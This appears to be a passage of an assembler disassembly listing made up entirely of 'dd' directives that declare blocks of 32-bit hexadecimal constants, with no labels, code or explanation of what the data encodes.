		dd 6EDBF200h, 11DC396h,	5F2A6068h, 7083FD07h, 6D006C69h
		dd 90512E44h, 924031h, 0BF6E6526h, 3EA08CF1h, 3AE46B00h
		dd 0A559EC0Dh, 0FC814BCEh, 8FD30197h, 0E21007E8h, 7C4BA60h
		dd 0E68C3695h, 7E7B603Bh, 0B200F901h, 0EEEC6B81h, 1B78023Eh
		dd 0D89287D0h, 53516490h, 82A72700h, 9BD9B17Dh,	73A400BBh
		dd 0C141E9DBh, 53007430h, 4A548745h, 0A9072C61h, 1023A4B4h
		dd 0CE44C601h, 4019469Dh, 0A3701AB8h, 0E500917Dh, 0AE661BF6h
		dd 7ADC42h, 3B4527D8h, 44BA748Eh, 54AA9B00h, 2F12051Fh
		dd 0A5723E59h, 0ECDF9481h, 0C011C230h, 0AC0060AAh, 58FD8608h
		dd 26EA89CDh, 3D0E84Eh,	0C64598BBh, 0C4F2ECB0h,	3BB5F90Fh
		dd 1C4CC063h, 757E8Dh, 0C3148A43h, 7ACBBD64h, 0E72C24B0h
		dd 0DC0054DBh, 20562D1Ch, 1D8DBA5Ch, 803FB485h,	4752C58Eh
		dd 81B86C4Eh, 0FA163400h, 8107B83Dh, 86A400ADh,	3C66A10Ch
		dd 2E02FC1h, 0F7F0B7h, 0A36F0F56h, 0E91242BAh, 7B964B3Fh
		dd 2A98E404h, 0E48CBE05h, 0AFF054h, 7F6F01FEh, 8E7D4731h
		dd 1FB9CF01h, 0CAC88543h, 4AEEF4h, 1AB851C0h, 960C2915h
		dd 439AD904h, 3F806BC2h, 0FCE5A0C6h, 3C10055h, 3F050C2Ch
		dd 60488245h, 546F0077h, 0A5CB9E06h, 556800E4h,	37267425h
		dd 8400ED3Eh, 0DFCC6139h, 3C5EA8CAh, 4E0E060Fh,	0C9E0C89Bh
		dd 0C21024DAh, 82040A00h, 209602A1h, 1990141h, 0CEEECC83h
		dd 87903045h, 57105000h, 2103E342h, 0AD0A395Ch,	0A973C100h
		dd 31E9CCC0h, 86D17817h, 0ED971800h, 0D7855Dh, 1F14061Eh
		dd 0AC49AD67h, 75450B3Dh, 2CCF8B05h, 0AC21C33h,	1D38CE4Bh
		dd 8713FB81h, 10A9E431h, 0AD6C8C8Ah, 0CB58A1B0h, 0AF9F0044h
		dd 0E9B5753Dh, 70E8A063h, 0A46A0C6Fh, 6AE8E16h,	2EB1774Bh
		dd 732ECA30h, 4E65001Fh
		dd 3C9E7C25h, 6B04D66Dh, 0DC67CD0Dh, 904624C3h,	70E7F796h
		dd 0A4080022h, 0B29BA106h, 94006E24h, 43D77D59h, 383BB56h
		dd 4A1162A7h, 0BFD08C17h, 8F00750Eh, 490A27BCh,	0BA6EA02Dh
		dd 86250188h, 53D76D74h, 0B3A7C487h, 44007D72h,	0DFB0156Bh
		dd 0A4C8D9h, 8864F274h,	9DA273C2h, 97E2BE0Bh, 9EB08192h
		dd 86D0E3DDh, 500F7ACEh, 2774FC9Bh, 88DCEB3Fh, 6CC54F03h
		dd 0D25ACB08h, 0CBDC8038h, 2816404h, 0FCF8B806h, 64C07E62h
		dd 5E005495h, 5DD505Bh,	757A293h, 0FA0227A9h, 2B1AC331h
		dd 6D71F7A8h, 0B03DC100h, 9D2A39F4h, 48DCA867h,	5AFE1DC6h
		dd 0BC80C101h, 0F851FC26h, 0DD054393h, 288F744Eh, 640C6480h
		dd 783F5931h, 4004F41Eh, 0C4BB30EEh, 970002B7h,	4D6FE991h
		dd 1BCF25h, 260ABF3Fh, 0AA8DFA70h, 0B8C23700h, 4C6512E9h
		dd 18161DC3h, 827B00CEh, 3D5F6FE6h, 97625800h, 80254B8Ch
		dd 0DD5100B8h, 0EE6C1B03h, 900374BDh, 69A0BE68h, 0A4DA153h
		dd 5579D1E8h, 75F4884Fh, 90D90088h, 7AB767Ch, 0D62586B9h
		dd 7EDC034Eh, 0A42290BFh, 1CE10059h, 0A86625F5h, 7401F72Ah
		dd 83DB07A6h, 0E9D84BD5h, 93A90042h, 2B78300Ch,	0E2005AD0h
		dd 35CC201Bh, 83714Ch, 99464CFh, 39218D1Fh, 4B5FBD3Ch
		dd 41148800h, 0F3DB246h, 1A103E76h, 22803ACFh, 0BCE3667Eh
		dd 1E118160h, 40CEB877h, 90AE924h, 0B7727F57h, 19F560Fh
		dd 9C051196h, 134330h, 22FE45D6h, 23B80C3Dh, 0C3348A00h
		dd 0BE1884ADh, 88A125AFh, 0AE3B3000h, 0E3632460h, 0B7D77CECh
		dd 0CEE56240h, 46522A6Ah, 6EBA288Ch, 0F26EE5Ch,	0B3C20769h
		dd 53E77160h, 0A1174BFEh, 0E009270h, 562E482Ch,	609A1D4Fh
		dd 262F01A8h, 0D00F3677h, 451252CFh, 0EC1C2DE8h, 1EA34980h
		dd 0ECAF417Fh, 9A9100E2h, 35C0822Fh, 4700B933h,	0EBC54070h
		dd 3A325AD4h, 23801ADCh, 0FC1B9E56h, 9099D22h, 514560h
		dd 41B4B7D9h, 0B1A26190h, 0C040FC15h, 310028DCh, 2908EFC4h
		dd 0DB1C5h, 0A1B211B4h,	221E807Ch, 4AB33B00h, 413F8605h
		dd 805B509Ah, 94AA38A1h, 0A0E2AEh, 781D476Ah, 630C7D27h
		dd 681EC219h, 8FB0E9h, 268150A3h, 0A6FF9BDBh, 9D001A7Bh
		dd 3D691401h, 0E5C607h,	0AEF6C043h, 798095B6h, 0EBBFA100h
		dd 0B85AD763h, 0C07702CDh, 5F29C5DBh, 9930C0A1h, 2638C407h
		dd 6450F400h, 0E57A8DF5h, 13FD0056h, 5EE61FC5h,	0A40EAC73h
		dd 0C05A6350h, 452AB0FFh, 16713CF6h, 10AEC299h,	0C3045AC4h
		dd 2BB9BDh, 1602610h, 25BFA475h, 26E35758h, 1C00DC3Dh
		dd 29C7BD47h, 18C47313h, 2874F83Eh, 0A78056A9h,	0C2C800CAh
		dd 15250D33h, 5F004758h, 0B38A1651h, 36DD297h, 0EBE60FE8h
		dd 78A86AF5h, 371F2ECFh, 0FF400640h, 0B2A85F66h, 0FDDF003Ch
		dd 36BBBCCDh, 1B00286Dh, 96213B2Fh, 0B03951F6h,	0FEB60010h
		dd 3762DD02h, 6C0047A9h, 0F577B843h, 0C283EDh, 0FFA03BCCh
		dd 0C0D24B5Fh, 9F006075h, 0E05CF04Fh, 71A4813h,	0BFAB5E7Bh
		dd 913DD0B6h, 0F63CB32Fh, 0F8A200C8h, 3EA5EE2Eh, 8299002Dh
		dd 228EB749h, 970047C2h, 17719EE2h, 50968BE3h, 5DA4A2h
		dd 0ECDEED07h, 0CDB7A90Ch, 0DB00E075h, 4ECB5FC4h, 52A437h
		dd 327C9B43h, 0DDC5C3D0h, 0F33DEA00h, 663C12CDh, 89951D7Eh
		dd 37807BF1h, 0D52E4DD4h, 0CA00526Bh, 0C6286EAFh, 0EC7FF9h
		dd 0DDD435F4h, 9A8C5ACEh, 50B8A67Ah, 15D3807h, 0DE5099C2h
		dd 0A5F0CFh, 612B83C4h,	0EB66D287h, 27C0400h, 56C5D5A4h
		dd 78DFB037h, 100C00A2h, 0AE3D663Bh, 0A700C9B8h, 90D1D91Ch
		dd 267AD0Eh, 0BF826175h, 18404222h, 0D20046CEh,	8FEA9533h
		dd 0C1DDF6h, 7688A8CDh,	1CDEE67Fh, 0F8AE3100h, 0A78A2D9Dh
		dd 5C1D000Bh, 99DCDDFEh, 84072829h, 4767EE7h, 0FAF183E0h
		dd 4AB63E56h, 0EDF6D282h, 0F0A03D54h, 0DCFD7B39h, 0CC0C2F1Eh
		dd 575F7840h, 2E8A1F17h, 6595D5h, 7E4831E7h, 440B2EA4h
		dd 80060759h, 0F0CADD0Ch, 73B81374h, 813900DEh,	19EEAD22h
		dd 0BA27110Bh, 4FD00060h, 1B51C16h, 0DA610709h,	0CA2BD337h
		dd 1BA64440h, 4DA3B700h, 0CAE7CDD7h, 31541D39h,	75EC212h
		dd 442B3CCh, 19E06980h,	2C00F264h, 6998264Eh, 6FEF0Bh
		dd 0FC9BF7BDh, 157F700Dh, 0EC53A700h, 58FF480h,	293600A9h
		dd 226C10CFh, 0E900B67Dh, 0E14787D2h, 5C9AAA69h, 4800643Ah
		dd 1AECC0ACh, 0F9C08FBFh, 79D3547Bh, 93070033h,	0C28592F6h
		dd 720F4EF3h, 801BED4Ch, 0BC8CADD4h, 7804002Bh,	0C87ACE31h
		dd 511F93CBh, 0DECEE96Eh, 80B9C0AAh, 1C8CEEB3h,	43248DE7h
		dd 0B6575DA2h, 5520E8E0h, 3CFB9A04h, 0BAC4C099h, 0E3272480h
		dd 97E900DDh, 0A71B4DE7h, 6F0023C3h, 9D5F968Dh,	0EE9808F2h
		dd 72617EE6h, 5854001Ah, 5B1D6E4Eh, 6BF00F62h, 462C9800h
		dd 31FBDC83h, 7BCF73A2h, 49FCEBh, 6D5902A6h, 403EFF89h
		dd 390B171Eh, 11B11801h, 35C8672Fh, 0B4EA00BDh,	6F53FFEBh
		dd 0B82FB5E7h, 20E7001h, 818C9016h, 60404583h, 460E5D04h
		dd 614DCB57h, 683470E9h, 0BC9780DFh, 1D0905Eh, 0A6D2E237h
		dd 0D8A46D04h, 0F4EE7B08h, 0FEDE9300h, 3AC4741h, 0C1F300AAh
		dd 0CCA36827h, 444C5E09h, 799D3DB0h, 0BDE44813h, 56D50800h
		dd 7C781562h, 0D157511Ah, 929830h, 0E8536336h, 18B305C5h
		dd 0AA04357Fh, 66E7C3D4h, 70DF5C88h, 78AD0AA0h,	0FCB75Eh
		dd 0A5EB50A9h, 0BE036697h, 0E1373D7Eh, 2068E00Eh, 5352006Fh
		dd 8B26DD16h, 8900816Bh, 448407BDh, 608DB0h, 693223CFh
		dd 11C54791h, 0BDABBE01h, 0E7BFED2Ah, 181E13E0h, 0FA891498h
		dd 0B4006D1Fh, 1928DF0Ch, 529E87h, 6A90E31Bh, 0D447B65Bh
		dd 2D006798h, 29D20B86h, 26AC14h, 606115FDh, 4B192051h
		dd 844F0D3Dh, 0C3F0CE9Ah, 1A472080h, 49D00A8h, 0F8F2026Ch
		dd 36003FA7h, 781268B6h, 0CBCE70h, 564B86EFh, 0B715B1A5h
		dd 0DEE7C900h, 69F14E5h, 51D51F4Fh, 6D10025Ch, 0DC402BDCh
		dd 0DD98FA48h, 61592107h, 7AE5E757h, 1ECF32C1h,	0E0C7C8h
		dd 9FF60A6Fh, 504F6BE1h, 0A15DDC12h, 0EE526000h, 72BA7565h
		dd 0E8F40017h, 9E2DB6C1h, 0A1482A03h, 53E1EA8h,	9108240h
		dd 1B60EC7h, 99D097CCh,	0E0AA0FB3h, 95126C4Fh, 18004744h
		dd 0F0FBE818h, 3CE026h,	9CCF5751h, 0AEEA7D6Dh, 460054FCh
		dd 0D2F68CB6h, 7FBE1E31h, 9F090038h, 3BD1A313h,	0FB12CEC9h
		dd 640A37EDh, 1503C451h, 0F375CAE4h, 0F2AC8B6h,	222300A2h
		dd 73879881h, 3200556Dh, 0A814D517h, 0FF723Ch, 54AC49C7h
		dd 0DE7C8E43h, 806D333Dh, 74044B8Bh, 0EDD83Bh, 4009AD9Dh
		dd 6FFE9779h, 7B3C5A00h, 0D7BB46DDh, 2AFB0916h,	3E0055D3h
		dd 0A7203B26h, 4552F102h, 60EBAD34h, 93A11Ch, 0C0CF8996h
		dd 0F97D43CCh, 4881101h, 0EC219859h, 7344CCh, 9D205D34h
		dd 0F3C5ED0Bh, 68AB9E03h, 6BAC81h, 94A10F51h, 0D3969A0Eh
		dd 44115C00h, 0B2924A7Eh, 7240006Ch, 4CAAC6CDh,	520086FFh
		dd 0EE977D10h, 0D0EA35h, 0F1590848h, 7756BB8Ch,	99EDD38h
		dd 3E1C45h, 7D6C21EEh, 5552006Dh, 0D8112069h, 8003C7EBh
		dd 66A63999h, 152A00D5h, 717656EAh, 0CD001F5Dh,	3D8919F7h
		dd 0DDB50Bh, 0BCFF5077h, 0F2B06A4Bh, 0EB349500h, 25CDF141h
		dd 11A10024h, 3C8C7703h, 0FD7DC793h, 9281E200h,	30BFDEF9h
		dd 0A1418B4h, 79E46913h
		dd 68317E00h, 654F595Bh, 2CDD7CABh, 1F8215E7h, 92CF4E10h
		dd 916F8E61h, 0B072D0D5h, 4012A532h, 329FC0E7h,	7E190E9Eh
		dd 0FD8D69h, 1FFAA77Ch,	0AA075F99h, 252EA661h, 29BB4340h
		dd 0D0B0037Eh, 10599112h, 0B18C8907h, 948ED67Dh, 7BBD0040h
		dd 35C8A4C3h, 792100B3h, 0B7143069h, 100051B4h,	3E0C7291h
		dd 602312DBh, 6669A0DFh, 40C0319Fh, 0B42045EAh,	0D0D728CBh
		dd 8A6E0058h, 19E81D4Bh, 4400F8A6h, 4D30286Fh, 0C86973h
		dd 0DF4C51EAh, 1127A378h, 41A5EC00h, 0A9B1D7C4h, 7BC2011Eh
		dd 6033066Eh, 4FF1E0D5h, 2B7998FEh, 515FBB00h, 171173E8h
		dd 307A00DCh, 7BDF8589h, 80F22E14h, 0D3A51500h,	33CB476Fh
		dd 0B26C0E0Ch, 9D63463Eh, 0A08F6281h, 7DF288B4h, 8E34853Bh
		dd 0EA6B330Eh, 0C0838CE5h, 0E957D790h, 0A050385Eh, 1467944h
		dd 0D582D3C3h, 0F0840DB4h, 950FFCB2h, 6665503Ah, 2E40DE45h
		dd 31B9C4h, 0CFBAEDEBh,	5F0A2986h, 9C30400Fh, 0DC00EC9Fh
		dd 27CAF090h, 657400E1h, 6623A6ACh, 3F3A6A44h, 3B508EB8h
		dd 496DE146h, 54CC9EC3h, 5B4B1D5Fh, 0D28E1F31h,	345F00AFh
		dd 81661047h, 287C701h,	0ECFD6B1h, 0A81819BFh, 6BEC208Ah
		dd 0EB153C02h, 93079046h, 55ABD8h, 85B98B98h, 0F2F1409Ah
		dd 0D378870Ah, 2130E86Dh, 2498166Ah, 7F59B9h, 0D1250B4h
		dd 4C0CF775h, 0D8F29B64h, 0B13834D6h, 0AF6EC130h, 0F4C3F846h
		dd 0DC43C800h, 84FB6C95h, 6B7478h, 0C48E4C6Dh, 37E9A719h
		dd 8FCC8B1Dh, 7C14D5Eh,	793CF32Ah, 3969AA70h, 0ECF4A803h
		dd 42FC07A3h, 0C15D6340h, 8041558Ch, 886BFB18h,	4D4A47h
		dd 51C289F6h, 0B4260B77h, 61FE0400h, 7B570BEh, 0B38C3BECh
		dd 86253606h, 6360E6FCh, 0A9E46990h, 7B711C96h,	0BAC90755h
		dd 607EC6FAh, 8167EE7Ah, 66AF6930h, 74D176E8h, 0DDE680C1h
		dd 0B7F13F01h, 68037AE0h, 0C1E744F0h, 7535FA29h, 0D44D6085h
		dd 696D138h, 644FBBCFh,	0D70D0120h, 8C6BC4E5h, 6A68988Bh
		dd 0F21FB219h, 0FE311BDEh, 1E080F5h, 8600B7A2h,	0D745D1A9h
		dd 0FABBEB78h, 162E283Bh, 430D05B0h, 0C5ECC44h,	1839F7A0h
		dd 1A004EE2h, 0CA2351CDh, 1CE34C86h, 4136981Bh,	3EEA5443h
		dd 7087D29Dh, 97A03024h, 78177092h, 7A0661DBh, 2A2098D8h
		dd 0C05C44h, 0FDEB01EEh, 0FEB02BD5h, 82A2205h, 2CC14B8Dh
		dd 3080688Eh, 49B3F0DBh, 90A20C21h, 245ED361h, 0B0A46E08h
		dd 31CBC202h, 0C0D6E88Ch, 754AAA02h, 9E633F78h,	0ED6E6506h
		dd 5F48506Fh, 0DB080404h, 6D07FF85h, 2DE9044h, 7C3A8F53h
		dd 8F45190h, 55004030h,	0C9F2459Bh, 9AF1EBh, 7DD0BFC2h
		dd 0B602771Fh, 68420AF6h, 0AC014053h, 0F6224FDFh, 0E444016Dh
		dd 0B2276710h, 0EA0BC073h, 5FC28A7h, 0BC40ED17h, 9120CD54h
		dd 0E7BB3258h, 0A0A47930h, 206D4041h, 185DE9h, 625F6B15h
		dd 42CF04B6h, 6C8AA401h, 23C32ACBh, 930F1B2h, 96C930A0h
		dd 7C063E3Dh, 0FB12D426h, 0EF740C19h, 4F99846h,	0E8002091h
		dd 0C3893C5Bh, 0D1495CDBh, 0F01FD601h, 24E4AFA0h, 0FE600940h
		dd 0B8176C39h, 0A6CD004Dh, 1453921Ah, 0EC0ED38Bh, 0E3AA33C5h
		dd 5D48483h, 44898CC9h,	97A2C0B7h, 170FC104h, 0A0C69FAFh
		dd 0DE9EF67h, 0F9D35F3h, 18B03468h, 258C71D6h, 56A8502h
		dd 48798399h, 0C79710h,	28BE2153h, 9B67DC9Dh, 0A33AA701h
		dd 1FE919FFh, 7C4428A2h, 0D95200AAh, 193EB571h,	813D0CC8h
		dd 0E7189208h, 80E38C48h, 0E4D80465h, 0A54AB36h, 0EB22D4B0h
		dd 5B442AF6h, 0CD9F01D4h, 4846950Bh, 1539D4A2h,	4107F500h
		dd 0EE2753ECh, 888DD09h, 0D0306342h, 98A341Ah, 9FD88D9h
		dd 0DFD44820h, 58C16CAAh, 947DEFDBh, 44D68050h,	60209AFDh
		dd 1CE179EAh, 0D001745Dh, 0B7490D6Ah, 0A9883CB8h, 58A9ECF7h
		dd 5B138840h, 804D7CB6h, 6E06EDCEh, 700B847Fh, 0CC754958h
		dd 20E68613h, 2311F538h, 50AE1F3Eh, 8498B494h, 0C078454Dh
		dd 0FE529A2Bh, 1C1F92Dh, 4C7E9823h, 0D80206Fh, 73D49BB3h
		dd 0BAEB2801h, 0D74969BCh, 906EF2h, 91DAA343h, 0CD642F01h
		dd 610AB1B0h, 0A8588D1Bh, 908F7D8Ah, 9C0B038Ah,	0E0C30C87h
		dd 0E50F2680h, 49BF1CF7h, 2498CE46h, 2CA41D09h,	0FDEE409Bh
		dd 0D40EDh, 0E19CFFF2h,	6B358D2Ah, 1CEFB21Fh, 1222A8EAh
		dd 4F442AE2h, 0CF2300C0h, 0AC17A237h, 0EE1AFC91h, 21599540h
		dd 0F7B26FACh, 6E116C32h, 0E2A4515Ah, 0E27FBE20h, 9DEB0021h
		dd 7E50F731h, 593E995Ch, 480CA439h, 0D1227140h,	0C87B0992h
		dd 811FACCh, 2C003358h,	0F8441C7Eh, 7C04C8h, 0E3800693h
		dd 0AEE61F66h, 0E8613C24h, 0EE44864Eh, 0C7CF00D1h, 0C1F5EC8Ah
		dd 7500BAB8h, 22C1C8Ch,	239E82Dh, 7C8B996Ah, 0A064C235h
		dd 5080FBF4h, 0BD9300B2h, 27B33C11h, 689A2C8Bh,	4A96DB18h
		dd 5969F9h, 34B05835h, 9C868ED1h, 0DF4CA300h, 0A6C0AE74h
		dd 0AF971A60h, 648FA110h, 0EE046948h, 349047D0h, 3BEF8C6Ah
		dd 1E16B9BEh, 84704623h, 750021C0h, 37FF972Fh, 12E47C70h
		dd 48C277DDh, 0C880EFF0h, 26D5C708h, 0DD0E0288h, 0BE2181Bh
		dd 0A1043CCEh, 0B333B4B6h, 11E871C0h, 10CE2B0h,	0D99B395Fh
		dd 0B9497C8Ch, 0CCCEA2A1h, 0DB69E1B8h, 35080D04h, 0F4D19462h
		dd 29816A84h, 64FFE92Eh, 43682451h, 2091697Ch, 0AAC2178Eh
		dd 0CF12A916h, 0FD689059h, 9389EC0Ch, 54540424h, 18DE84Dh
		dd 0DEA44E32h, 30247E5Fh, 51068ACEh, 1FC3EED7h,	0FAB33730h
		dd 46EFE448h, 41F644h, 0B5354A41h, 0EDD1AABCh, 4DC07751h
		dd 5EC04334h, 41F44CC4h, 88AC008Dh, 0B655D529h,	9A1CAAh
		dd 26E76321h, 8E13006Bh, 827BD57Fh, 6B671F0Ah, 0C244E415h
		dd 0BA46B740h, 5C009D27h, 0F43101DDh, 0C2936BE5h, 0FC96E981h
		dd 0F9284D0Eh, 0A80458h, 3E7748BEh, 0BBDCCFA5h,	0FEF35E02h
		dd 0C4545042h, 639700D4h, 469389E1h, 0B152C381h, 0FE22D4h
		dd 85FD05C7h, 5714F8C8h, 29A8F75Dh, 6600D861h, 64FFFBEh
		dd 18CB3F75h, 0D5BB9384h, 0D1F489DEh, 8C8057D2h, 0F8B260E9h
		dd 3C594244h, 72005BF2h, 0CDC1B3CBh, 96004F37h,	0C3BC2AA1h
		dd 0A8F57C6Bh, 0F0DD0B5Ch, 0CC4B06FEh, 1886C617h, 80BC40B1h
		dd 0E46B6A6h, 597A53BCh, 842C0852h, 0E3CD40A0h,	8A00307Eh
		dd 0EADB9155h, 0B5388A4h, 63832B03h, 3943D090h,	830C5448h
		dd 0F094CB9Ch, 51191163h, 0F0223CCCh, 0F0AAFF01h, 0ECE5F3A1h
		dd 0D90C2DEDh, 0F171336Bh, 7829C3E9h, 7CD05DC7h, 263C967Ah
		dd 0F0A0067Eh, 99A1E8EFh, 3542434h, 0E4D43B1Eh,	0DC6C1912h
		dd 46768822h, 44A64Ch, 0EC9EF636h, 97C5C19Fh, 3F00724Dh
		dd 0F3C40A9h, 9AC42F57h, 1139562h, 68EED0A1h, 6E819446h
		dd 0D17A80F0h, 0B1AC2DBh, 0D260FD8Eh, 0E0E06108h, 49F99001h
		dd 0B6DB3Eh, 0D3354D9h,	1C1E60E3h, 0D44D72D1h, 0F6C02C7Bh
		dd 0D22C9D19h, 3808DEF4h, 91C3E4B9h, 0C5771FF5h, 34A06DC3h
		dd 0F4C1582Ch, 0DFCDEAC0h, 0BD64B04Fh, 0EC9C9338h, 0A0438AF7h
		dd 708852C4h, 8C990378h, 6790C98Bh, 10E4E9DBh, 0C2D1C094h
		dd 0F578AAAh, 7B2C150Fh, 226B51B9h, 11D41224h, 5C20CCC4h
		dd 0EACAB83h, 93238E6Fh, 18DC48B0h, 408968D1h, 36622429h
		dd 4EEE8B88h, 61F3A013h, 16945150h, 23638B17h, 0C000C014h
		dd 76F785B8h, 41EE62E1h, 3249843h, 121BC88h, 64EFBEAAh
		dd 20DC0B29h, 7D0526DEh
		dd 0AE7B55CCh, 0FFE69444h, 0ACBC0256h, 645A435Bh, 145E0200h
		dd 6A2862FDh, 3F70183h,	0A994A7DEh, 2979E119h, 5F6E185Ch
		dd 1E7198A1h, 2C25CBB4h, 0E494C094h, 1700632Eh,	34BD1ACEh
		dd 99FC8407h, 4EBE00E8h, 32D63658h, 500AF4A9h, 3FA9AC84h
		dd 1FBBDE00h, 1A2DF877h, 85F03E0Ch, 5CE10881h, 16C8135h
		dd 0B3148E54h, 7A2A0088h, 35A1CCFEh, 882F0B90h,	0F8319EBh
		dd 25B86E64h, 2400BAF8h, 0CC54ACEEh, 26EAD8FEh,	0A4887929h
		dd 63E82C58h, 591E4061h, 0E0357FEEh, 0E398B060h, 9B3F0FB9h
		dd 13C45407h, 0E9CA6E4h, 2059A3B0h, 29415303h, 529801E6h
		dd 4F4830Ch, 70ADE59Bh,	0E49684ACh, 0D0CACB80h,	0AAC17034h
		dd 69C405DCh, 0C251DC32h, 60B8E0B8h, 0D600849Fh, 18CA43B7h
		dd 5D0A861Bh, 3507C4E6h, 0A5ED2653h, 70805FCh, 0D458853Bh
		dd 564040B4h, 0B1504BF2h, 0A4134C4Eh, 6F6BD400h, 160655EBh
		dd 0C2747Bh, 4E5CE6F8h,	82265B30h, 7151540Bh, 5CEB0A21h
		dd 580BB861h, 0B042EEh,	5E1A016Bh, 0E8295D29h, 884C7724h
		dd 0B7E15D4h, 0C5182h, 0C626D916h, 12028783h, 0ABCDE2A5h
		dd 10A8E5FAh, 0E4718A6Bh, 0AC5F4288h, 919992B0h, 632FE114h
		dd 0CD29001Ch, 94705F5Bh, 0B6240047h, 8B01261Bh, 0D8582736h
		dd 80D588A0h, 2E44F091h, 4022B8Ch, 0E8872072h, 0C0DCAF66h
		dd 0EA8809E9h, 2D03074Eh, 0CAD297D8h, 0B2BB40B0h, 8AE8CD2Fh
		dd 40968874h, 0F8080449h, 90444Bh, 0D1DA43Eh, 1D419D9Fh
		dd 921F8B40h, 74E487F1h, 0B4A8A17Eh, 54CAE43Ch,	0EC17E0BCh
		dd 0ED481A41h, 80B01F2h, 0AA49258Bh, 4BEFC3FCh,	26CC5FEBh
		dd 6E443D68h, 49646Eh, 1E3ECD16h, 65F2566h, 39116826h
		dd 7000849Bh, 0D7B02B5Dh, 0E8C80F8Eh, 0C749F2B4h, 0F56E84A2h
		dd 9255EE21h, 848C4194h, 281BC59h, 0F0335C79h, 5122AB2Bh
		dd 34644955h, 8465EEC4h, 84A620h, 9CEA2641h, 0E831158h
		dd 6A2DC27Bh, 5340027Eh, 410948F8h, 43679F8h, 82582710h
		dd 24FC85E9h, 0E2094731h, 29605EC0h, 0CE9F003Fh, 70DA7A0Fh
		dd 417EAE91h, 1148E049h, 905D476h, 115D2660h, 0A491B82Ch
		dd 4BFCE024h, 5747AC04h, 0D684AC06h, 5C250011h,	0D1510C09h
		dd 3900EF82h, 4733E240h, 16BC96AAh, 34626D60h, 0C0E634h
		dd 6278E9B9h, 2C21F2h, 0B460FF8Eh, 0E1463B18h, 9230705h
		dd 3CB41314h, 0FA31884Dh, 7B5A7C1Eh, 4EE01AC1h,	4AD83F2Ch
		dd 27F8FABEh, 0A42284EEh, 0F099756Dh, 0F0520B4Eh, 0F41B1700h
		dd 0AF1D3FECh, 0E1A80D00h, 7F03193Bh, 92B52799h, 53E9B424h
		dd 0CAA32C30h, 206A72D8h, 10B2D19Ch, 587C50F3h,	826061FDh
		dd 74CC581h, 843A5086h,	0B0E8A8h, 711765E6h, 85849A28h
		dd 0E1B3EF09h, 5F4CA415h, 0FB600081h, 4F22E062h, 0E013B0A2h
		dd 70741037h, 58CD6095h, 0A45CFBFBh, 0CA1CDCh, 57AF779h
		dd 0AE38E440h, 4F620416h, 32992470h, 34480096h,	4A7F2A01h
		dd 1601420Fh, 7908E437h, 89BFC01Ah, 54C0204Fh, 2786B60Ah
		dd 10195D40h, 4CD48057h, 3667CE3Bh, 0DC651259h,	789C4C1Fh
		dd 7600BE49h, 77E29642h, 18507DF6h, 71E4B168h, 3896043h
		dd 361CBC32h, 48FE8150h, 666B05BEh, 9120030h, 34ABC87Bh
		dd 6C6F48EEh, 1CCC4589h, 0BE776104h, 789C9FD2h,	83E73A53h
		dd 0EADF1B00h, 0CE26A1FCh, 0C8D3E002h, 78B5B7CFh, 6B7F3554h
		dd 6E044A99h, 19D840FCh, 3D031E7Ch, 0CF18F872h,	3FC0C8CDh
		dd 0C6431DB4h, 8B782455h, 0D46968EFh, 43204061h, 0E31C8940h
		dd 0F8458072h, 28C08BB6h, 4443AD0h, 17619C33h, 2B1CE46Eh
		dd 624F8200h, 0AACE404Ah, 27C7045Bh, 9151E97Ah,	5050442Ch
		dd 5F8B53F4h, 1023D531h, 44695D94h, 0B1E80D81h,	0EE39892Ah
		dd 0D4E448D1h, 844CBAF8h, 0B3BE028h, 76977323h,	7D452030h
		dd 0D41EDD70h, 0A2C041C5h, 9E7CC4DBh, 73E62CB8h, 0EFDC844Ch
		dd 0EC6C88E8h, 0E7AC421Dh, 491EA009h, 620C7A68h, 9F792C84h
		dd 31064014h, 0A609E2DBh, 182BCC81h, 0B46EEE90h, 66B0BAACh
		dd 3BF28249h, 3A49AC77h, 1E22258h, 305CD9F3h, 0C8ADEC04h
		dd 89534DABh, 0B0FD2228h, 0A6EC741Ch, 80D891A4h, 434DE7E8h
		dd 62009D5Bh, 0FA1B989Bh, 75645819h, 81372088h,	96DB21h
		dd 89EBCC8Ch, 0CF00403Dh, 0A62E7DCEh, 3E05D02Bh, 0B17A6BCDh
		dd 9E02BCE8h, 0E7D6ACECh, 303BB0EEh, 0BEFA0247h, 7BD0EDCEh
		dd 0D70D0138h, 3985F47Dh, 278000F0h, 0D1C7B57Bh, 1FA90205h
		dd 68FD4658h, 906D6C82h, 0D50B8428h, 9896E6h, 751E1521h
		dd 0E07853Dh, 64B2A215h, 0BE32594h, 4C46C0h, 32F4B89Ch
		dd 59412164h, 3C22B902h, 1264E06h, 1195600Dh, 9DF8ABE8h
		dd 0D6461792h, 45C488D5h, 200CAE2Eh, 0C82CD016h, 0B4A3FD4h
		dd 9F3D96h, 2D84806h, 5F7D9BC1h, 59146058h, 98D99260h
		dd 102D9031h, 20EC5F26h, 535D012Ch, 731D400Dh, 1BE5FC09h
		dd 0B108DC00h, 3D3228C6h, 17ED0BCDh, 0C8E41F82h, 90224F42h
		dd 80111300h, 9CE654F7h, 41260724h, 0E2B1B7ABh,	0C17FDD71h
		dd 703450E0h, 298F88C3h, 661C8AFEh, 9AC968CFh, 1404405h
		dd 0A2E6EE0Dh, 79FE3237h, 9AB50358h, 5AA581D2h,	0A6582091h
		dd 5E000841h, 0DE791351h, 0EC8A9352h, 958F7186h, 6FF8E433h
		dd 0FF022E7Ah, 0C3EE0F19h, 2810495Eh, 487B9862h, 896B47Ch
		dd 0E0A45D6Ch, 0D19420AFh, 9E8FAEh, 0ACBA7110h,	0A18D18F4h
		dd 24306825h, 49C04368h, 0B8A64A6Fh, 81089011h,	71F45470h
		dd 29D03EECh, 4030FE24h, 93E362EAh, 5A0057FAh, 7D10DF82h
		dd 2E1F4417h, 1421A8D6h, 0EC85948Dh, 0FFAC3092h, 88015B49h
		dd 9F72DF32h, 502D40C4h, 201C5C53h, 0A88000DAh,	0BB36960Dh
		dd 857B4101h, 635EDD21h, 91B7840h, 7AED44FEh, 6E7160E3h
		dd 0E3D59113h, 70DBC0DCh, 0F43148BCh, 0CC25173Ah, 57EEC0A2h
		dd 360D0D2h, 0B1C86C09h, 55A60714h, 309A82EBh, 38FB962Eh
		dd 2895D23Dh, 64A2FCA4h, 0A600B46Ch, 8DE7D51Eh,	9DDEC5Ch
		dd 21A2953Fh, 40D73024h, 0A908FFE2h, 314F07A5h,	204485F7h
		dd 0FC99B6B9h, 84093491h, 0E568207Bh, 0A7BB32h,	0F03C0F2Dh
		dd 8DABC918h, 2B80E702h, 64316B22h, 0C7A8BC04h,	9128CA2Fh
